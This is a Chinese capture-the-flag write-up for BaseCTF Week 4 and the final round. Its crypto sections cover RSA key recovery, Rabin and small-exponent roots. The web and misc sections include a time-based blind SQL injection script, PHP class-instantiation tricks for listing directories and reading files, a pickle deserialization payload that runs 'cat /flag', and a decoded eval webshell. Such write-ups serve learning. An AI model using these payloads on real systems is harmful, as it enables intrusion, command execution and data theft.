BaseCTF [Week4][Fin]
Crypto
[Week4] 哎呀数据丢失了
BaseCTF{57e6c35a-2768-49f9-8aca-47a3abcff1c7}
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQC9J4SEEirvmmnsZHKQIZ3tBu3St2EXIbMmhQsvUGDa7tdpQ1Zm
fEecqcy2lp9Pvm3H+mdZrKIdipaogajkoCF3MnV+ZJ1QMZFRH6ltpC7R2i+jvIyc
ZfvZwN1vQwNZrEXkVdMsWw6inSHmR/+A5Qq8u4D3attnAHoE6F2660yPHQIDAQAB
AoGAImXjVVkwca41AQYrR0a1v3r5GM68W0aHm8OqCwqk8mtoxP234p9LLpQ6ZCH0
Cr5onGtPDCG2wYSIbVBW9GyiaQhUDsB7gq1H5meXGgH6xhYuk6f8Ya7VZg+Cauuj
TXiszRj8WeeSFwHxD/UdUog3BrhkKHz9s04wnJOCnSnYZ8kCQQDG4J**********
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
-----END RSA PRIVATE KEY-----
打开私钥,发现缺少下半部分,将上半部分进行解析,在最后面加上==进行补齐
from base64 import b64decode
import binascii
s = '''MIICXAIBAAKBgQC9J4SEEirvmmnsZHKQIZ3tBu3St2EXIbMmhQsvUGDa7tdpQ1Zm
fEecqcy2lp9Pvm3H+mdZrKIdipaogajkoCF3MnV+ZJ1QMZFRH6ltpC7R2i+jvIyc
ZfvZwN1vQwNZrEXkVdMsWw6inSHmR/+A5Qq8u4D3attnAHoE6F2660yPHQIDAQAB
AoGAImXjVVkwca41AQYrR0a1v3r5GM68W0aHm8OqCwqk8mtoxP234p9LLpQ6ZCH0
Cr5onGtPDCG2wYSIbVBW9GyiaQhUDsB7gq1H5meXGgH6xhYuk6f8Ya7VZg+Cauuj
TXiszRj8WeeSFwHxD/UdUog3BrhkKHz9s04wnJOCnSnYZ8kCQQDG4J=='''
s = b64decode(s)
print(binascii.hexlify(s))
执行结果
b'3082025c02010002818100bd278484122aef9a69ec647290219ded06edd2b7611721b326850b2f5060daeed7694356667c479ca9ccb6969f4fbe6dc7fa6759aca21d8a96a881a8e4a0217732757e649d503191511fa96da42ed1da2fa3bc8c9c65fbd9c0dd6f430359ac45e455d32c5b0ea29d21e647ff80e50abcbb80f76adb67007a04e85dbaeb4c8f1d02030100010281802265e355593071ae3501062b4746b5bf7af918cebc5b46879bc3aa0b0aa4f26b68c4fdb7e29f4b2e943a6421f40abe689c6b4f0c21b6c184886d5056f46ca26908540ec07b82ad47e667971a01fac6162e93a7fc61aed5660f826aeba34d78accd18fc59e7921701f10ff51d52883706b864287cfdb34e309c93829d29d867c9024100c6e0'
证书中存储的顺序
RSAPrivateKey ::= SEQUENCE {
version Version, 0表示两个素数的RSA 1表示多素数的RSA
modulus INTEGER, -- n
publicExponent INTEGER, -- e
privateExponent INTEGER, -- d
prime1 INTEGER, -- p
prime2 INTEGER, -- q
exponent1 INTEGER, -- d mod (p-1)
exponent2 INTEGER, -- d mod (q-1)
coefficient INTEGER, -- (inverse of q) mod p
otherPrimeInfos OtherPrimeInfos OPTIONAL
}
分析数据
标识头 30
总长度 82 025c
版本信息 0201 00
n 028181 00bd278484122aef9a69ec647290219ded06edd2b7611721b326850b2f5060daeed7694356667c479ca9ccb6969f4fbe6dc7fa6759aca21d8a96a881a8e4a0217732757e649d503191511fa96da42ed1da2fa3bc8c9c65fbd9c0dd6f430359ac45e455d32c5b0ea29d21e647ff80e50abcbb80f76adb67007a04e85dbaeb4c8f1d
e 0203 010001
d 028180 2265e355593071ae3501062b4746b5bf7af918cebc5b46879bc3aa0b0aa4f26b68c4fdb7e29f4b2e943a6421f40abe689c6b4f0c21b6c184886d5056f46ca26908540ec07b82ad47e667971a01fac6162e93a7fc61aed5660f826aeba34d78accd18fc59e7921701f10ff51d52883706b864287cfdb34e309c93829d29d867c9
p 024100 c6e0(不完整)
获得了 n 和 d ,按普通RSA解就行
exp
from Crypto.Util.number import *
n = 0x00bd278484122aef9a69ec647290219ded06edd2b7611721b326850b2f5060daeed7694356667c479ca9ccb6969f4fbe6dc7fa6759aca21d8a96a881a8e4a0217732757e649d503191511fa96da42ed1da2fa3bc8c9c65fbd9c0dd6f430359ac45e455d32c5b0ea29d21e647ff80e50abcbb80f76adb67007a04e85dbaeb4c8f1d
d = 0x2265e355593071ae3501062b4746b5bf7af918cebc5b46879bc3aa0b0aa4f26b68c4fdb7e29f4b2e943a6421f40abe689c6b4f0c21b6c184886d5056f46ca26908540ec07b82ad47e667971a01fac6162e93a7fc61aed5660f826aeba34d78accd18fc59e7921701f10ff51d52883706b864287cfdb34e309c93829d29d867c9
c = bytes_to_long(open("out",'rb+').read())
m = pow(c,d,n)
print(long_to_bytes(m))
#b'BaseCTF{57e6c35a-2768-49f9-8aca-47a3abcff1c7}'
[Week4] rabin
BaseCTF{01c28b9c-7924-4c04-b71d-1cca15342618}
- 根据题目提示知道是rabin算法
- 但 e = 4,用寻常的办法解出的m其实是m的平方
- 所以在常规的情况下再求平方根就行了
exp
from Crypto.Util.number import *
import gmpy2
import libnum
p= 8531212975719216550108614256955774722172741885676113601617182716356239301381951899737237219659253655889636684200345109462928796329670321336864298557778843
q= 7443256287912111739335729314443559886458007838130371799255078565502662459436043455787869631999073617967343884377537828940738213460508765519478956421282871
n= 63500004625039456439237191267891267558404574431112995926594213383621331385226487443753506088788203040258384788149958095020759745138424276657604371402824844725005596890673468964961037168078105356669148960568974603581485045691990626520286184874115519591663033533771400334558853058140717812903874350138362098253
c= 51452608438757130697131508192775727191605112918772187364577097224326062184288501602000700342623122861398852536963355962672293705131887315354242193416090384360837672258861475017098419459125395949090523474744886423754439919504732741712693909507972791203801494594878447921609420574365853676576693694677914169353
e= 4
inv_p = gmpy2.invert(p, q)
inv_q = gmpy2.invert(q, p)
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
a = (inv_p * p * mq + inv_q * q * mp) % n
b = n - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % n
d = n - int(c)
aa = [a,b,c,d]
for i in aa:
if gmpy2.iroot(i,2)[1]:
print(libnum.n2s(int(gmpy2.iroot(i, 2)[0])))
#BaseCTF{01c28b9c-7924-4c04-b71d-1cca15342618}
[Week4] extendmd5
BaseCTF{d90b67cb-b08c-4f00-bfc2-40b05f52b6ec}
from Crypto.Util.number import *
import hashlib
import socketserver
import os
import random
flag = os.getenv('GZCTF_FLAG')
class Task(socketserver.BaseRequestHandler):
def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()
def send(self, msg, newline=True):
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass
def recv(self):
return self._recvall()
def my_md5(self,text):
mymd5=hashlib.md5()
mymd5.update(text)
return mymd5.hexdigest()
def handle(self):
for _ in range(100):
c=random.randint(32,63)
want=random.randbytes(c)
want_md5=self.my_md5(want)
self.send(want_md5.encode())
while True:
self.send(b"\nPlease input the secret:")
secret = self.recv()
final=want+secret
final_md5=self.my_md5(final)
self.send(b"\nPlease input your md5:")
your_md5=self.recv().decode()
if final_md5 == your_md5:
self.send(b'correct!')
break
else :
self.send(b'wrong!')
self.send(flag.encode())
self.send(b"\nConnection has been closed =.= ")
self.request.close()
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 9999
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()
分析源码
- 随机生成字节mant并输出对应的md5
- 让你输入字符并与want生成新的md5
- 让你输入md5与新的md5进行做比较
- 两个md5相等就跳出死循环,条件达成100次就输出flag
def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()
- 这个接收函数会再最后去除字符串两端的特定字符集或空白字符,比如空格
- 所以我们只要输入空格再输入他发出的md5就能达成条件
exp
from pwn import *
import base64
re = remote("challenge.basectf.fun",33472)
for i in range(100):
str1=re.recvline()
re.recvline()
re.recvline()
re.sendline(b' ')
re.recvline()
re.recvline()
re.sendline(str1)
re.recvline()
flag=re.recvline()
print(flag)
[Fin] の歪来
BaseCTF{e_d0u_hu1_4_w@i_lal}
import gmpy2
from Crypto.Util.number import *
import libnum
flag=b''
assert len(flag)==28
m=bytes_to_long(flag)
n=getPrime(2048)
e=32
c=pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
分析源码:
- e = 32 比较小且不是素数
- n 是 素数 且特别大
- e 和 phi不互素
- flag 的长度为28位,也就是223bit 满足m < n
$$ gcd(e,n−1)=32 \\ (m^{32})^{\frac{n-1}{32}} = c \ mod \ n \\ 求\frac{n-1}{32} 的逆元,计算c ^{d′} = m^{32} \ mod \ n $$
那么,就可以在模n有限域下开根求解
exp
from Crypto.Util.number import *
import gmpy2
n = 17363249226879909675667629533972233798566313669420563155296918020175446973456428454735263489044575257132690882883587342817653451483222705760704890265900885255972067349104579938808591608382992680533327518070878297438339884996059309549300942570104747348751766711833983705979880714174709047335147739991850385244159235504375559144283494800573079055547597410783559965162216203307100248001158445665271438067670522510991047688414176659907164436539491205637933681658814267567385232097679554282863595183422504494357205180093828786415060565003183966959273253039416986816444073158723191290806413175478175738266995214965220231649
e = 32
c = 6840453756562205147103219479843999687625029691496635689045074720240615321966887831642035124198445485320265097191334720798522097422084141332044111764558336174743819347952914775206809737198058220362381349481027893609144697054465070779290329222696236671374412706789862193871687821041053566873553189148668599841084370137084893575567622972476409755187388121177923217208552049876944055745912987536390075417261016809335539362984984190264791744790640858201038207982043569204062714722892105134794280417020318408200038144689432974312283915592134911446185412636709207566063730723406969727969141426530341540330398465744403597273
_gcd = gmpy2.gcd(e,(n-1))
d = gmpy2.invert(e//_gcd,n-1)
m_32 = pow(c,d,n)
P.<x> = PolynomialRing(Zmod(n),implementation='NTL')
e = _gcd
f = x^e - m_32
mqs = f.monic().roots()
for i in mqs:
flag = long_to_bytes(int(i[0]))
if b'Base' in flag:
print(flag)
#BaseCTF{e_d0u_hu1_4_w@i_lal}
Web
[Week4] flag直接读取不就行了?
BaseCTF{61c1a391-6909-427a-84fd-d4fd0cbf5e2b}
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
分析源代码,通过 下面这段代码可以实现遍历目录
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
- Get参数为K=DirectoryIteratorW=目标路径
- Post参数为J=SplFileObject&H=目标路径
- 遍历了网站的所有路径没有发现secret文件夹,最后在根目录发现了该文件夹
- 在该文件夹中发现了一个名叫f11444g.php的文件
尝试读取flag,发现没有显示,查看原始数据,发现了flag
only one sql
BaseCTF{43b7ed9a-8212-4c64-aa9a-9adc18de6a5c}
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);
分析源码:
- select被禁用
- 已经切换到ctf库了
传入DESC flag
获得:
Field Type Null Key Default Extra id varchar(300) YES NULL data varchar(300) YES NULL
知道了flag表中有id,data两个字段,猜测flag在data字段
exp
import requests
url = "http://url:port/?sql=UPDATE flag SET id = '1' WHERE substr(data,{p},1) = '{s}' and sleep(5)"
for i in range(1,100):
for x in range(40,128):
payload = url.format(s=chr(x),p=i)
try:
r = requests.get(payload, timeout=4)
except:
print(chr(x),end="")
if chr(x) =="}":
exit(0)
break
运行结果:BASECTF{43B7ED9A-8212-4C64-AA9A-9ADC18DE6A5C}
改为正确格式:BaseCTF{43B7ED9A-8212-4C64-AA9A-9ADC18DE6A5C}
提交发现不正确,改为小写:BaseCTF{43b7ed9a-8212-4c64-aa9a-9adc18de6a5c}
Misc
[Week4] 二维码2-阿喀琉斯之踵
BaseCTF{tH3_cRe4tOr_0f_QR_F0rM4t_1s_a_9en1u5}
附件中的二维码是无法直接解析的,看到有个hint
尝试将纯黑条删除,用qr还是识别不到,但用微信识别成功了,腾讯太强大了
Webshell
BaseCTF{b7cdaf030d59ffed731dca01a1565eeb}
用Wireshark
打开附件,执行以下操作:文件->导出对象->HTTP对象列表,在其中发现8809kb的,追踪HTTP流,发现是RAR压缩包
保存下来后发现无法直接打开,用010打开压缩包,将 2D 3E 7C
删除后就能打开
解压后发现是网站源码,用D盾扫描一下,发现了一个风险文件hello.php
,打开文件
连接密码就是在这两句中,将那段hex
转成字符,获得:
http://127.0.0.1/wp-content/themes/twentysixteen/js/ui.js
按路径找到这个文件,发现是一段base64编码
按那php源码中的解码步骤进行解码,最终获得:
@eval($_POST["b7cdaf030d59ffed731dca01a1565eeb"])
[Week4] Pickle Init
BaseCTF{aa3b9599-d7b1-4f55-bced-22950d95e335}
#!/bin/bash
echo "${GZCTF_FLAG}" > /flag
python3 -c "__import__('pickle').loads(__import__('sys').stdin.read(50).encode('ASCII'))"
分析源码:
- 导入pickle这个模块
- 读取用户输入的50个字节进行反序列化操作
exp
cos
system
(S'cat /flag'
tR.
一直换行凑到50个字节就行 参考思路
BaseCTF{aa3b9599-d7b1-4f55-bced-22950d95e335}
[Week4] 小cheny的社交
BaseCTF{h4h_y0u_kn0w_ch3ny}
用随波逐流检测图片没发现什么问题用StegSolve在Alpha plane 1 发现类似base编码的字符串
MDAxMTAwMTEgMDAxMTEw
MDAgMDAxMTAxMDAgMDAx
MTEwMDAgMDAxMTAxMTAg
MDAxMTAxMDAgMDAxMTAx
MDEgMDAxMTAwMTAgMDAx
MTAwMDAgMDAxMTAxMTE=
解码获得:
00110011 00111000 00110100 00111000 00110110 00110100 00110101 00110010 00110000 00110111
- 将二进制转化为字符串获得
3848645207
- 起初还以为是什么图片隐写的密码,全试了一遍发现不是
- 根据题目猜测可能和社交有关
- 在QQ搜索
3848645207
,在其空间发现一段神秘字符串
解密获得前半部分flag,解密网站 尊嘟假嘟O.o (zdjd.asia)
在题目作者主页发现博客网站
在博客中发现另一段密文
解密获得另一半
拼接获得完整flagBaseCTF{h4h_y0u_kn0w_ch3ny}